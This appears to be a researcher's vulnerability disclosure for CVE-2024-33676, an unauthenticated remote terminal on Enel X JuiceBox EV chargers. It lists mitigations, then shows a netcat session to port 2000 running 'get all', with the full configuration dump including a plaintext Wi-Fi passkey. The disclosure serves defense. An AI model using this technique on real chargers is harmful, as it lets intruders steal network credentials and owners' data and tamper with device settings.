dersecure/cve-2024-33676Technical disclosure of CVE-2024-33676: weak authentication on Enel X JuiceBox EV chargers enabling PII extraction, settings manipulation, and OS file system access via Gecko OS interface on port 2000.
Weak authentication and authorization on Enel X JuiceBox Level 2 EV charger enables access to operating system functions and parameters.
Users on the local EV charger WLAN network can extract PII, change settings, and manipulate the operating system file system. This is done by accessing the functions on a local Gecko OS interface on port 2000.
This information was presented on July 26, 2025 at BSides Albuquerque. The slides are here.
Affected Vendor: Enel X Way Affected Product: JuiceBox Level 2 Charger
Footprint: Enel X Way (subsidiary of Italian utility and energy conglomerate) EV chargers
Affected Versions:
Abusing JuiceBox Level 2 Charger Gecko OS programming interface:
Suggested CVSS 4.0: 9.3 / Critical
Option 1: Configure a remote terminal password
> set re w R3411yG00dEVCh4rg3rPa@@word
> save
Option 2: Disable with remote_terminal.enabled parameter
> set re e false
> save
NOTE: It appears the local website uses this command interface to populate it's
information, so modifying these settings will likely make the local web service
inoperable, e.g., gecko-os.js uses GET http://setup.com/command/get%20all.
Jay Johnson at DER Security
(With a special thanks to Brian Wright at Sandia National Laboratories for support with this research.)
If on the network with the EV Charger, an adversary can netcat to port 2000 and then interact with the equipment using the Gecko OS API commands.
For example, getting the Wi-Fi password, networking information, and other sensative information can be accomplished
with get all.
$ nc 192.168.10.30 2000
EMWERK-JB201-1.0.46, Gecko_OS-STANDARD-4.2.7-11064, WGM160P
> get all
get all
app.debug.auto_run: 1
app.debug.ignore_settings: 0
app.info:
SDK version : 11064
Name : JBox_BT_Final.app
Size : 274852
Running : 1
broadcast.data: mac,bssid,channel,ip,ssid,rssi,remote_terminal_port,time,version,uuid
broadcast.http.host:
broadcast.interface: default
broadcast.interval: 10
broadcast.udp.ip: 255.255.255.255
broadcast.udp.local_port: 55555
broadcast.udp.remote_port: 55555
bus.command.read_timeout: 250
bus.command.rx_bufsize: 4096
bus.command.write_check_enabled: 0
bus.command.write_timeout: 25000
bus.data_bus: uart0
bus.log_bus: uart0
bus.mode: command
bus.stream.cmd_gpio: -1
bus.stream.cmd_seq: $$$
bus.stream.flush_count: 1460
bus.stream.flush_time: 20
bus.stream.flush_time_reset: 0
dfu.logs_enabled: 1
dfu.status: 0
dms.auto_start_enabled: 0
dms.bundle_id: 5fed5727-e67a-4a58-a0e0-e5da68e7f3fe
dms.cmd.enabled: 0
dms.connection.host: dfu.zentri.com
dms.connection.port: 443
dms.connection.timeout: 20
dms.interface: wlan
dms.product_id: ab92e1d2-632a-4939-afea-160d6beaf65d
dms.provision.status: 3
dms.telemetry.adc_mask: 0x0000
dms.telemetry.data_mask: 0x03FF
dms.telemetry.gpio_mask: 0x00000000
dms.telemetry.interval: 0
email.name_address: 0910042001280661727222696131
email.smtp.host:
email.smtp.password:
email.smtp.port: 587
email.smtp.username:
ethernet.auto_start.enabled: 0
ethernet.auto_start.retry_delay: 3
ethernet.dhcp.cache_enabled: 0
ethernet.dhcp.enabled: 1
ethernet.dhcp.hostname: gecko_os-#
ethernet.dhcp.timeout: 15
ethernet.link_detected_timeout: 7
ethernet.link_local.enabled: 0
ethernet.link_local.timeout: 20
ethernet.mac: 38:5C:FB:3A:B5:D2
ethernet.multicast.address: 0.0.0.0
ethernet.network.dns: 0.0.0.0
ethernet.network.gateway: 0.0.0.0
ethernet.network.ip: 0.0.0.0
ethernet.network.netmask: 0.0.0.0
ethernet.network.status: 0
ethernet.network.status_gpio: -1
ethernet.static.dns: 8.8.8.8
ethernet.static.gateway: 0.0.0.0
ethernet.static.ip: 0.0.0.0
ethernet.static.netmask: 255.255.255.0
gpio.alias:
! # Alias
gpio.init:
! # Description
gpio.sleep:
! # Description
gpio.usage:
! # Description
# 1 SPI1 CS
# 8 GPIO out
# 9 GPIO ipu
# 10 GPIO out
# 11 GPIO out
# 14 GPIO out
# 15 GPIO out
# 16 SPI16 CS
# 17 GPIO out
# 19 GPIO out
# 20 GPIO ipu
# 21 GPIO out
# 22 GPIO ood
# 23 UART0 TX
# 24 UART0 RX
# 25 GPIO out
# 26 GPIO out
http.client.retries: 3
http.client.retry_period: 1000
http.server.api_enabled: 1
http.server.auth_title:
http.server.cors_origin: 17EMOTORWERKS00030
http.server.denied_filename: webapp/unauthorized.html
http.server.enabled: 1
http.server.interface: default
http.server.keep_alive_enabled: 0
http.server.keep_alive_timeout: 300
http.server.max_clients: 6
http.server.notfound_filename:
http.server.password:
http.server.port: 80
http.server.root_filename: webapp/index.html
http.server.tls_cert:
http.server.tls_enabled: 0
http.server.tls_key:
http.server.tls_log_clients: 0
http.server.tls_peer_cert:
http.server.tls_verify_peer: 0
http.server.username: nmrx11.com.attz
http.server.ws_connected_gpio: -1
http.server.ws_data_gpio: -1
ioconn.control_gpio: -1
ioconn.enabled: 0
ioconn.local_port: 0
ioconn.protocol: tcp
ioconn.remote_host:
ioconn.remote_port: 0
ioconn.status_gpio: -1
mdns.enabled: 0
mdns.interface: default
mdns.name: gecko_os-#
mdns.service:
http - disabled
tcp - disabled
udp - disabled
remote_terminal - disabled
mdns.ttl: 300
network.arp.lock_enabled: 0
network.arp.table_size: 8
network.bridge.auto_start: 0
network.bridge.info: state: down
SSID: Gecko_OS-#
channel: 0
clients: 0
network.bridge.interface_1: none
network.bridge.interface_2: none
network.buffer.control_size: 8192
network.buffer.rxtx_ratio: 50
network.buffer.size: 61440
network.buffer.usage: RX:00,TX:05
network.default_interface: wlan
network.dns.timeout: 6000
network.tcp.delivery_type: normal
network.tls.ca_cert: godaddy_ca.pem
network.tls.ca_cert_verify_enabled: 1
network.tls.client_cert:
network.tls.client_key:
network.tls.handshake_timeout: 15
network.tls.version: 12
ntp.enabled: 1
ntp.interface: default
ntp.interval: 3600
ntp.server: pool.ntp.org
remote_terminal.enabled: 1
remote_terminal.interface: default
remote_terminal.password:
remote_terminal.port: 2000
remote_terminal.timeout: 60
setup.auto.cmd:
setup.gpio.cmd: setup_web
setup.gpio.control_gpio: -1
setup.gpio.level: 1
setup.gpio.mode: gpio
setup.web.captive_portal_enabled: 0
setup.web.client_list: ! Connected: 0
setup.web.idle_timeout: 600
setup.web.passkey:
setup.web.root_filename: webapp/index.html
setup.web.ssid: JuiceNet-#
setup.web.url: setup.com,www.setup.com,connectivitycheck.gstatic…
softap.auto_start: 0
softap.captive_portal_enabled: 1
softap.channel: 0
softap.client_list: ! Connected: 0
softap.dhcp_server.enabled: 1
softap.dhcp_server.lease_time: 86400
softap.dns_server.enabled: 1
softap.dns_server.url: silabs.com,www.silabs.com
softap.hide_ssid: 0
softap.idle_timeout: 7
softap.info: state: down
SSID: Gecko_OS-#
channel: 0
clients: 0
softap.mac: F4:B3:B1:8A:56:C2
softap.mac_filter.enabled: 0
softap.mac_filter.info:
MAC Addresses:
softap.mac_filter.mode: whitelist
softap.max_clients: 4
softap.passkey:
softap.rssi_average: 0
softap.ssid: Gecko_OS-#
softap.static.gateway: 0.0.0.0
softap.static.ip: 10.10.10.1
softap.static.netmask: 255.255.255.240
softap.tx_power: auto
spi.master.active_gpio: -1
spi.master.active_level: 1
stream.auto_close: 1
system.activity.gpio: none
system.activity.gpio_level: 1
system.adc.vref: 3300
system.bflash.cs_gpio: -1
system.bflash.port: spi1
system.bootloader.fsb_version: 1.7.0
system.bootloader.ssb_version: 1.7.3
system.build_number: 231addee2
system.cmd.aux_bus: 0
system.cmd.buffered: 0
system.cmd.echo: 1
system.cmd.gpio: -1
system.cmd.header_enabled: 0
system.cmd.prompt_enabled: 1
system.cmd.timestamp: none
system.debug.coredump_enabled: 0
system.factory_reset.gpio: 16
system.factory_reset.level: 0
system.hfxo.enabled: 0
system.hfxo.status: 0
system.indicator.gpio: network:-1, softap:-1, wlan:-1, ethernet:-1
system.indicator.state: network:fast_blink|medium_blink|slow_blink, softap:static_off|fast_blink|medium_blink|slow_blink, wlan:static_off|fast_blink|medium_blink|slow_blink, ethernet:static_off|fast_blink|medium_blink|slow_blink
system.interface.ethernet_enabled: 0
system.interface.wifi_enabled: 1
system.memory.usage: 16
system.msg:
initialized - [@tReady]
stream_closed - [@tClosed: @c]
stream_failed - [@tOpen failed]
stream_opened - [@tOpened: @c]
stream_opening - [@tOpening: @h]
shutdown - [@tShutdown]
wlan_failed - [@tJoin failed]
wlan_joined - [@tAssociated]
wlan_joining - [@tAssociating to @s]
wlan_leave - [@tDisassociated]
softap_joined - [@t@m associated]
softap_leave - [@t@m disassociated]
ethernet_starting - [@tEthernet Starting]
ethernet_started - [@tEthernet Started]
ethernet_stopped - [@tEthernet Stopped]
ethernet_failed - [@tEthernet Failed]
system.oob.event_mask: 0x0000
system.oob.gpio: -1
system.oob.gpio_level: 1
system.oob.rising_edge_mask: 0x0000
system.oob.status: 0x0000
system.powersave.idle_timeout: 250
system.powersave.mode: 1
system.powersave.wakeup_gpio_level_mask: 0x00000000
system.powersave.wakeup_gpio_mask: 0x00000000
system.print_level: async_sys
system.safemode.console_timeout: 10
system.safemode.disabled: 0
system.safemode.ota_auto_retry: 1
system.safemode.sleep_timeout: 0
system.safemode.status: 0
system.shutdown.wakeup_gpio_level_mask: 0x00000000
system.shutdown.wakeup_gpio_mask: 0x00000000
system.shutdown.wakeup_timeout: 0
system.uuid: EADE2FF34483EEDC048C3224385CFBFFFE3AB5D2
system.variable_lock: 0x00
system.version: EMWERK-JB201-1.0.46, Gecko_OS-STANDARD-4.2.7-11064, WGM160P
tcp.client.auto_interface: default
tcp.client.auto_retries: 0
tcp.client.auto_start: 0
tcp.client.connect_timeout: 4000
tcp.client.local_port: 0
tcp.client.remote_host:
tcp.client.remote_port: 3000
tcp.client.retries: 1
tcp.client.retry_period: 1000
tcp.client.tls_enabled: 0
tcp.keepalive.enabled: 0
tcp.keepalive.initial_timeout: 60
tcp.keepalive.retry_count: 5
tcp.keepalive.retry_timeout: 5
tcp.server.auto_interface: default
tcp.server.auto_start: 0
tcp.server.connected_gpio: -1
tcp.server.data_gpio: -1
tcp.server.idle_timeout: 60
tcp.server.max_clients: 8
tcp.server.port: 3000
tcp.server.tls_cert:
tcp.server.tls_enabled: 0
tcp.server.tls_key:
tcp.server.tls_peer_cert:
tcp.server.tls_verify_peer: 0
time.last_set: 41
time.rtc: 1687816798
time.uptime: 197
time.zone: 0
uart.baud: uart0:115200,uart1:115200
uart.data: uart0:8,uart1:8
uart.flow: uart0:off,uart1:off
uart.parity: uart0:none,uart1:none
uart.powersave.mode: uart0:0,uart1:0
uart.stop: uart0:1,uart1:1
udp.client.auto_interface: default
udp.client.auto_retry: 0
udp.client.auto_start: 0
udp.client.local_port: 0
udp.client.remote_host:
udp.client.remote_port: 3000
udp.server.auto_interface: default
udp.server.auto_start: 0
udp.server.data_gpio: -1
udp.server.lock_client: 0
udp.server.port: 3000
udp.server.remote_host:
udp.server.remote_port: 0
wlan.antenna.select: 1
wlan.auto_join.enabled: 0
wlan.auto_join.retries: 0
wlan.auto_join.retry_delay: 10
wlan.backoff: ! # Ch Attenuation (dbm)
# 0 1 0,0,0,0,0,0
# 1 2 0,0,0,0,0,0
# 2 3 0,0,0,0,0,0
# 3 4 0,0,0,0,0,0
# 4 5 0,0,0,0,0,0
# 5 6 0,0,0,0,0,0
# 6 7 0,0,0,0,0,0
# 7 8 0,0,0,0,0,0
# 8 9 0,0,0,0,0,0
# 9 10 0,0,0,0,0,0
# 10 11 0,0,0,0,0,0
# 11 12 0,0,0,0,0,0
# 12 13 0,0,0,0,0,0
# 13 14 0,0,0,0,0,0
wlan.bssid: 00:00:00:00:00:00
wlan.coex.mode: 0
wlan.dhcp.cache_enabled: 0
wlan.dhcp.enabled: 1
wlan.dhcp.hostname: gecko_os-#
wlan.dhcp.timeout: 15
wlan.hide_passkey: 0
wlan.info: state: up
SSID: SaulsGWiFi
BSSID: 00:C0:<<REDACTED>>
channel: 6
datarate: 65.0
wlan.join.result: 1
wlan.join.retries: 3
wlan.join.timeout: 7000
wlan.link_local.enabled: 0
wlan.link_local.timeout: 20
wlan.mac: F4:B3:B1:8A:56:C1
wlan.multicast.address: 0.0.0.0
wlan.network.dns: 192.168.10.1
wlan.network.gateway: 192.168.10.1
wlan.network.ip: 192.168.10.30
wlan.network.netmask: 255.255.255.0
wlan.network.status: 2
wlan.network.status_gpio: -1
wlan.passkey: Iamtheonewhoknocks
wlan.powersave.listen_interval: 0
wlan.powersave.mode: 0
wlan.rate.protocol: auto
wlan.rate.transmit: auto
wlan.roam.threshold: -99
wlan.rssi_average: 0
wlan.scan.active_dwell: 75
wlan.scan.channel_mask: 0x07FF
wlan.scan.home_dwell: 50
wlan.scan.num_probes: 3
wlan.scan.passive_dwell: 110
wlan.scan.retries: 3
wlan.scan.type: active
wlan.security: Auto
wlan.ssid: SaulsGWiFi
wlan.static.dns: 8.8.8.8
wlan.static.gateway: 0.0.0.0
wlan.static.ip: 0.0.0.0
wlan.static.netmask: 0.0.0.0
wlan.tx_power: auto
Reading the GPIO configuration.
Reading the OCPP config.
Using the HTTP server, much of the file system can be transferred from the device.
Fortunately, it is not possible to read binary data using stream_read or transfer the
kernal or .app file via http_upload.
The following were not explored, but could lead to additional vulnerabilities:
dms_claim function.Please contact me with any corrections/edits/updates.